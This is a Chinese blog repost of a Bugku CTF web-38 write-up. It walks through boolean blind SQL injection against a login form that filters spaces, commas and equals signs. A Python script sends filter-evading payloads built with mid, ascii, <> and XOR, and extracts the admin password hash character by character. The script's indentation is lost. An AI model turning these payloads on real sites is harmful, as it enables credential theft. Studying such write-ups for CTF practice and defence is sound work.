我是靠谱客的博主 传统蜜粉,最近开发中收集的这篇文章主要介绍wp-Bugkuctf-web-38(sql注入)【附脚本】写在前面WP,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

写在前面

本题提示是布尔注入,在之前的布尔注入中,一般是针对能否登录的布尔来进行信息获取,这里是利用username是否存在的布尔来进行信息获取,同时伴随着一些关键字过滤,对于布尔注入的进一步学习有一些帮助。

WP

在这里插入图片描述
首先弱密码尝试,显示 password error
在这里插入图片描述
更改后显示 username does not exist
这里就是一组布尔,存在与否
输一些关键字测试一下:

and,or,=,' '

在这里插入图片描述
看来有关键字屏蔽,并且大小写混用没啥用。
继续测试发现…还过滤了空格,逗号,等号,for
空格用括号代替,等号用相反的<>(一种不等号)代替

之前的一组布尔要与payload结合起来,形成true/false的布尔。
这里使用^ 异或或者or 来实现都可以。

具体方法在脚本中以注释形式给出:

#布尔盲注不仅仅是在密码正确和密码错误两种情况下,比如你输入账户,可能出现“账户不存在”和“存在”两种情况,这也是布尔。
import requests
import string,hashlib
url = 'http://114.67.246.176:19665/'
sss = string.digits + (string.ascii_lowercase)
a = ''
for i in range(1, 50):
flag = 0
for j in sss:
payload = "admin'^((ascii(mid((select(password)from(admin))from(%s))))<>%s)^1#" % (i, ord(j))
#屏蔽了",",改用mid()函数,from表示起始位置
#ascii()当传入一个字符串时取出第一个字母的ascii(),相当于mid()的第二参数,for取出,也相当于limit
#<>表示不等号
#^表示异或
payload2= "admin123'or((ascii(mid((select(password)from(admin))from(%s))))<>%s)#"%(i,ord(j))
#由于没有屏蔽or,所以也可以用这个,可以形成一组布尔
payload3= "admin123'or((ascii(mid((select(database()))from(%s))))<>%s)#"%(i,ord(j))
data = {'username': payload, 'password': 'admin'}
res = requests.post(url, data=data).text
if 'username does not exist!' in res:
a += j
flag = 1
print(a)
break
if flag == 0:
break
print(a)

脚本跑出为md5加密值,碰撞来解密出密码
在这里插入图片描述
输入密码即可

最后

以上就是传统蜜粉为你收集整理的wp-Bugkuctf-web-38(sql注入)【附脚本】写在前面WP的全部内容,希望文章能够帮你解决wp-Bugkuctf-web-38(sql注入)【附脚本】写在前面WP所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(33)

评论列表共有 0 条评论

立即
投稿
返回
顶部